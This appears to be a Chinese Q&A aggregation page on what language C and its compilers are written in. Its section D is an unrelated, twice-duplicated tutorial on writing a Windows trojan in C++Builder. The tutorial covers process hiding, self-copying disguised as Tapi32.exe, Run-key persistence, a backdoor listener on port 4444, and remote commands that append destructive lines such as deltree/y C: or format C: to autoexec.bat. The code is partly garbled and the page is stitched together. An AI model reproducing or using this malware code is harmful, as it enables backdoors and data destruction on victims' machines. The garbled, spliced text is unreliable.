A. c語言是用什麼語言寫的

c語言是unix的「副產物」,當時湯姆遜用匯編和「B語言」開發了unix,但由於艱澀難懂,亦不便移植與推廣,丹尼斯里奇對「B語言」進行了提煉,猜測可能基於匯編,寫出了第一個「C編譯器」,並用C語言對unix進行了重寫,使得unix可以不依賴具體機器系統,可移植性大增,當然這也歸功於C語言的可移植特性。此後C語言由ANSI制定了ANSI C標准,奠定了現在各種C與類C語言的基礎。

B. c語言是用什麼語言開發出來的

語言依賴於編譯器存在。只要有能將一種語言編譯成一種機器代碼,可執行程序的編譯器存在,該語言就可以用。C語言由C語言編譯器編譯。你是問C語言用什麼語言開發的,還是C編譯器用什麼語言開發的。其實第二個問題才有意義對不對?
那麼編譯器是什麼?是把一種語言換成機器代碼的程序對不對。如果承認這個,那好。那什麼語言都能編譯C語言,只要它具備以下幾個條件:
1。能夠打開文件。
2。具備文字處理和運算功能。
3。能夠寫一個文件。
好的,那麼世界上幾乎80%的軟體語言都能夠寫一個編譯器,自然也能夠寫一個C編譯器。
所以,你的問題的答案是,C語言編譯器可以由現在基本上所有的語言編寫。
其實這個問題本身已經沒有意義了。
呵呵。。

C. C語言是什麼寫的

首先c語言是一種語言, 是人們約定的一種編程方式, 就像英語, 法語一樣, 是一種語言, 是一種約定的規范.

所謂什麼寫的, 應該是指c語言的編譯器吧.

編譯器的作用就是把編程語言變成機器語言, 也就是把"代碼"(如.c文件)變成計算機可讀的機器語言文件. 所以編譯器就是一個程序, 把一種文字轉化為另一種文字.

既然編譯器是程序, 那任何編程的語言都可以寫編譯器.

在早期, 計算機只有匯編語言, c語言剛發明的時候只能用匯編語言寫c語言的編譯器, 但是會比較麻煩.

後來c語言編譯器完善後, 可以用c語言再寫一遍自己的編譯器, 用原來那個匯編語言寫的編譯器編譯通過後, 就得到一個新的c語言編譯器(現在就有兩個編譯器了).

再後來有了java("JAVA是什麼寫的"同理C語言), 也可以用JAVA來寫一個c語言的編譯器(以上就有3個C語言編譯器了).

也就是說, 一個語言是約定的, 固定的. 但是他的編譯器可以有千千萬, 不同的人, 不同的語言可以寫出很多個同一種語言的編譯器. 比較出名的有微軟公司寫的vc++, 和GNU組織的gcc.

-----------------------------------------

另外補充一點就是, 從一種語言的代碼到一種機器的的代碼是非常復雜的問題, 不同機器的機器語言都不同, 因此如果有N種語言和M種機器, 那至少應該有N*M個編譯器.

這樣就把編譯器分為了前段和後端.(當然, 中間語言是怎樣的也是爭論紛紛).

D. C語言環境是用什麼編寫的

C++編寫木馬全過程
首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如「死牛崇拜」黑客小組公布的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談??難道你還給受害者傳一個1兆多的動態鏈接庫??Msvbvm60.dll嗎?

啟動C++Builder 5.0企業版,新建一個工程,添加三個VCL控制項:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個伺服器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和WinNt);後兩個控制項的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟體具有上傳下載功能和發郵件功能的控制項。

form窗體是可視的,這當然是不可思議的。不光佔去了大量的空間(光一個form就有300K之大),而且使軟體可見,根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含form,就像Delphi用過程實現的小程序一般只有17K左右那樣。

我們首先應該讓我們的程序能夠隱身。雙擊form,首先在formCreate事件中添加可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的後台進程,它可以運行在較高的優先順序下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程資料庫中用RegisterServiceProcess()函數注冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。

首先判斷目標機的操作系統是Win9x還是WinNt:

{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定義RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32);
//載入RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess);
//得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//執行RegisterServiceProcess()函數,隱藏本進程
FreeLibrary(hDLL);
//卸載動態鏈接庫
}
}

這樣就終於可以隱身了(害我敲了這么多代碼!)。為什麼要判斷操作系統呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到後面再講)。

接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,並修改注冊表,以便啟動時自動載入:

{
char TempPath[MAX_PATH];
//定義一個變數
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小,得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
//格式化TempPath字元串,使之成為能供編譯器使用的樣式
opyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe).c_str() ,FALSE);
//將自己拷貝到%System%目錄下,並改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
//定義一個TRegistry對象,准備修改注冊表,這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//設置主鍵為HKEY_LOCAL_MACHINE
egistry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run,TRUE);
//打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創建之
try
{
//如果以下語句發生異常,跳至catch,以避免程序崩潰
!=SystemPath+"\\Tapi32.exe)
SystemPath+"\\Tapi32.exe);
//查找是否有「crossbow」字樣的鍵值,並且是否為拷貝的目錄%System%+Tapi32.exe
//如果不是,就寫入以上鍵值和內容
}
catch(...)
{
//如果有錯誤,什麼也不做
}
}

好,formCreate過程完成了,這樣每次啟動都可以自動載入Tapi32.exe,並且在「關閉程序」對話框中看不見本進程了,木馬的雛形初現。

接著選中ServerSocket控制項,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定埠,處於伺服器工作狀態。再將Port填入4444,這是木馬的埠號,當然你也可以用別的。但是你要注意不要用1024以下的低端埠,因為這樣不但可能會與基本網路協議使用的埠相沖突,而且很容易被發覺,因此盡量使用1024以上的高端埠(不過也有這樣一種技術,它故意使用特定埠,因為如果引起沖突,Windows也不會報錯 ^_^)。你可以看一看TNMFTP控制項使用的埠,是21號埠,這是FTP協議的專用控制埠(FTP Control Port);同理TNMSMTP的25號埠也是SMTP協議的專用埠。

再選中ServerSocket控制項,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:

{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定義了一堆待會兒要用到的變數
AnsiString(SystemPath+AnsiString("\\Win369.BAT)).c_str());
//在%System%下建立一個文本文件Win369.bat,作為臨時文件使用
AnsiString temp=Socket->ReceiveText();
//接收客戶端(攻擊者,也就是你自己)傳來的數據
}

好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:

{
f(temp.SubString(0,9)=="edit conf)
//如果接受到的字元串的前9個字元是「edit conf」
{
int number=temp.Length();
//得到字元串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
//將第11個字元轉換成integer型,存入file_name變數
//為什麼要取第11個字元,因為第10個字元是空格字元
content=(temp.SubString(12,number-11)+'\n').c_str();
//餘下的字元串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat,S_IREAD|S_IWRITE);
chmod("c:\\config.sys,S_IREAD|S_IWRITE);
//將兩個目標文件的屬性改為可讀可寫
if(file_name==1)
"c:\\autoexec.bat);
//如果第11個字元是1,就把Autoexec.bat格式化
else if(file_name==2)
"c:\\config.sys);
//如果第11個字元是1,就把Config.sys格式化
times_of_try=0;
//定義計數器
while(fp==NULL)
{
//如果指針是空
fp=fopen(filename,"a+);
//如果文件不存在,創建之;如果存在,准備在其後添加
//如果出錯,文件指針為空,這樣就會重復
times_of_try=times_of_try+1;
//計數器加1
if(times_of_try>100)
{
//如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File);
//就發回「Fail By Open File」的錯誤信息
goto END;
//跳至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!
fclose(fp);
//寫完後關閉目標文件
Socket->SendText("Sucess);
//然後發回「Success」的成功信息
}C++編寫木馬全過程
首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如「死牛崇拜」黑客小組公布的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談??難道你還給受害者傳一個1兆多的動態鏈接庫??Msvbvm60.dll嗎?

啟動C++Builder 5.0企業版,新建一個工程,添加三個VCL控制項:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個伺服器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和WinNt);後兩個控制項的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟體具有上傳下載功能和發郵件功能的控制項。

form窗體是可視的,這當然是不可思議的。不光佔去了大量的空間(光一個form就有300K之大),而且使軟體可見,根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含form,就像Delphi用過程實現的小程序一般只有17K左右那樣。

我們首先應該讓我們的程序能夠隱身。雙擊form,首先在formCreate事件中添加可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的後台進程,它可以運行在較高的優先順序下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程資料庫中用RegisterServiceProcess()函數注冊成服務進程(Service Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。

首先判斷目標機的操作系統是Win9x還是WinNt:

{
DWORD dwVersion = GetVersion();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定義RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32);
//載入RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess);
//得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//執行RegisterServiceProcess()函數,隱藏本進程
FreeLibrary(hDLL);
//卸載動態鏈接庫
}
}

這樣就終於可以隱身了(害我敲了這么多代碼!)。為什麼要判斷操作系統呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到後面再講)。

接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,並修改注冊表,以便啟動時自動載入:

{
char TempPath[MAX_PATH];
//定義一個變數
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目錄緩沖區的地址,MAX_PATH是緩沖區的大小,得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
//格式化TempPath字元串,使之成為能供編譯器使用的樣式
opyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe).c_str() ,FALSE);
//將自己拷貝到%System%目錄下,並改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
//定義一個TRegistry對象,准備修改注冊表,這一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//設置主鍵為HKEY_LOCAL_MACHINE
egistry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run,TRUE);
//打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創建之
try
{
//如果以下語句發生異常,跳至catch,以避免程序崩潰
!=SystemPath+"\\Tapi32.exe)
SystemPath+"\\Tapi32.exe);
//查找是否有「crossbow」字樣的鍵值,並且是否為拷貝的目錄%System%+Tapi32.exe
//如果不是,就寫入以上鍵值和內容
}
catch(...)
{
//如果有錯誤,什麼也不做
}
}

好,formCreate過程完成了,這樣每次啟動都可以自動載入Tapi32.exe,並且在「關閉程序」對話框中看不見本進程了,木馬的雛形初現。

接著選中ServerSocket控制項,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定埠,處於伺服器工作狀態。再將Port填入4444,這是木馬的埠號,當然你也可以用別的。但是你要注意不要用1024以下的低端埠,因為這樣不但可能會與基本網路協議使用的埠相沖突,而且很容易被發覺,因此盡量使用1024以上的高端埠(不過也有這樣一種技術,它故意使用特定埠,因為如果引起沖突,Windows也不會報錯 ^_^)。你可以看一看TNMFTP控制項使用的埠,是21號埠,這是FTP協議的專用控制埠(FTP Control Port);同理TNMSMTP的25號埠也是SMTP協議的專用埠。

再選中ServerSocket控制項,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:

{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定義了一堆待會兒要用到的變數
AnsiString(SystemPath+AnsiString("\\Win369.BAT)).c_str());
//在%System%下建立一個文本文件Win369.bat,作為臨時文件使用
AnsiString temp=Socket->ReceiveText();
//接收客戶端(攻擊者,也就是你自己)傳來的數據
}

好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:

{
f(temp.SubString(0,9)=="edit conf)
//如果接受到的字元串的前9個字元是「edit conf」
{
int number=temp.Length();
//得到字元串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
//將第11個字元轉換成integer型,存入file_name變數
//為什麼要取第11個字元,因為第10個字元是空格字元
content=(temp.SubString(12,number-11)+'\n').c_str();
//餘下的字元串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat,S_IREAD|S_IWRITE);
chmod("c:\\config.sys,S_IREAD|S_IWRITE);
//將兩個目標文件的屬性改為可讀可寫
if(file_name==1)
"c:\\autoexec.bat);
//如果第11個字元是1,就把Autoexec.bat格式化
else if(file_name==2)
"c:\\config.sys);
//如果第11個字元是1,就把Config.sys格式化
times_of_try=0;
//定義計數器
while(fp==NULL)
{
//如果指針是空
fp=fopen(filename,"a+);
//如果文件不存在,創建之;如果存在,准備在其後添加
//如果出錯,文件指針為空,這樣就會重復
times_of_try=times_of_try+1;
//計數器加1
if(times_of_try>100)
{
//如果已經試了100次了,仍未成功
Socket->SendText("Fail By Open File);
//就發回「Fail By Open File」的錯誤信息
goto END;
//跳至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!
fclose(fp);
//寫完後關閉目標文件
Socket->SendText("Sucess);
//然後發回「Success」的成功信息
}

E. C語言是由什麼語言編寫而成的

我想,你問的是抄 C語言編譯器 是用什麼語襲言寫的。
概括說,當今幾乎所有的實用的編譯器/解釋器都是用C語言編寫的,有一些語言比如Clojure,Jython等是基於JVM或者說是用Java實現的,IronPython等是基.NET實現的,但是Java和C#等本身也要依靠C/C++來實現,等於是間接調用了C。
世界上第一個C語言編譯器,是在B語言基礎上,用B語言與PDP匯編語言 編寫的。開發過程是先用匯編寫了一個最基本功能的子集C0,利用自編譯Self-Compile功能,或虛擬機CVM(C Language Virtual Machine)功能,增添新的東西,變C1, 按此法多次增添發展,滾雪球般用匯編把小雪球揉到一起,1生2,2生3,...成了C。C 再生萬物。
這里,該向C語言之父Dennis Ritchie(丹尼斯·里奇)致敬。

F. C語言是用什麼軟體編寫的

C語言

C語言是一門計算機語言。

VC 6.0/VS 2003/VS 2005/VS 2008/C++ Build/TC都是開發環境,不同的公司為開發C語言編寫的開發環境,方便開發人員。

所以你要知道的是: 要找一個開發環境去用這門語言開發程序。
因為開發環境都集成了編譯器這些東西,所以剛入門的同學不是很清楚,如果你自己有編譯器,那麼就可以用notepad編寫,然後手動用編譯器編譯你的程序。

G. c語言用什麼軟體編寫

現在,簡單點說就是:「原理相同,軟體和網頁版的只是架構不同,實質沒啥區別。
都要用到資料庫等等技術,都需要一個內網(區域網),或者廣域網——實現連接、共享,內容都要放到資料庫中——實現數據存取。
至於asp那個是微軟的.net技術,配合的開發語言是c#,會了c++,那個的話還是買本書看看,或者在網上下載一個教學視頻看看。」
至於如何用c或者c++開發網頁版的或應用程序,我個人是沒開發過,不過我個人當前水平下,C++桌面應用程序開發好像是用MFC等等技術開發的,需要用到很多函數庫,這個和C有點相通,你應該在研究C或者C++吧,應該比我明白的多。哈哈。
建議,可能要用到技術:
JDBC編程,或者ODBC編程。(應用程序和資料庫連接的技術)

資料庫方面的,SQL(CRUD)語法。(資料庫,處理數據的)
C#相應的學習(語言基礎)
.net開發的學習(微軟的網路開發框架)
DOM開發的學習(文檔解析技術)
HTML、CSS、javascript等等網站技術(網站或桌面應用的界面開發)
ASP網站開發的知識。(動態網站開發的技術,其他的還有php、jsp等等)
還有很多,慢慢你要是打算研究的話,無窮無盡,你會發現一個好的應用有時候需要很多技術支撐,有時自己研究的夠深入,基本的技術就能做的很好。
以上只是自己的建議,有的地方不準確或是錯誤,請及時查閱資料進行自我訂正。

H. c語言是用什麼語言編寫的匯編嗎

C語言源自Ken Thompson發明的B語言,而 B語言則源自BCPL語言。

1967年,劍橋大學的Martin Richards對CPL語言進行了專簡化,於是屬產生了BCPL(Basic Combined Programming Language)語言。

1972年,美國貝爾實驗室的 D.M.Ritchie 在B語言的基礎上最終設計出了一種新的語言,他取了BCPL的第二個字母作為這種語言的名字,這就是C語言。


(8)c語言用什麼編寫的擴展閱讀

C語言編譯器:

GCC,GNU組織開發的開源免費的編譯器

MinGW,Windows操作系統下的GCC

Clang,開源的BSD協議的基於LLVM的編譯器

Visual C++:: cl.exe,Microsoft VC++自帶的編譯器

C語言集成開發環境:

Code::Blocks,開源免費的C/C++ IDE

CodeLite,開源、跨平台的C/C++集成開發環境

Dev-C++,可移植的C/C++IDE

C-Free

Light Table

Visual Studio系列

I. c語言用什麼編程軟體

1、現抄在C語言建議使用Microsoft Visual Studio編程軟體比較好,應該該軟體與電腦Windows

7,8,10等系統兼容性比較好。

2、Microsoft Visual Studio(簡稱VS)是美國微軟公司的開發工具包系列產品。VS是一個基本

完整的開發工具集,它包括了整個軟體生命周期中所需要的大部分工具,如UML工具、代碼管

控工具、集成開發環境(IDE)等等。所寫的目標代碼適用於微軟支持的所有平台,包括Microsoft

Windows、Windows Mobile、Windows CE、.NET Framework、.NET Compact Framework和

Microsoft Silverlight 及Windows Phone。

3、Visual Studio是目前最流行的Windows平台應用程序的集成開發環境。最新版本為 Visual

Studio 2015 版本,基於.NET Framework 4.5.2 。

J. C語言是用什麼編寫出來的

C語言通過語言開發出來的。

C語言是Dennis Ritchie 在1972年通過Thompson的B語言的基礎之上開發出來的。C是作為從版事實際編程工作的程序的權一種工具而出現的,所以其主要目標是成為一種有用的語言。同時, C 也是為編程人員開發的語言,這使得它成為當今人們首先的編程語言之一。

C已經成為最重要和流行的編程語言之一。它之所以得到發展,是因為人們嘗試使用它後喜歡它。過去10年中,許多人從C轉而使用更強大的C++語言,但C有其自身的優勢,仍然是一種重要的語言,而且它還是通往C++的必由之路。

(10)c語言用什麼編寫的擴展閱讀

C語言特點

1、設計特性:C是一種融合了控制特性的現代語言,而我們已發現在計算機科學的理論和實踐中,控制特性是很重要的。

2、高效性: C是一種高效的語言。 在設計上它充分利用了當前計算機在能力上的優點。C程序往往很緊湊且運行速度快。

3、可移植性:C是一種可移植語言。在一個系統上編寫的C程序經過很少改動或不經修改就可以其他系統上運行。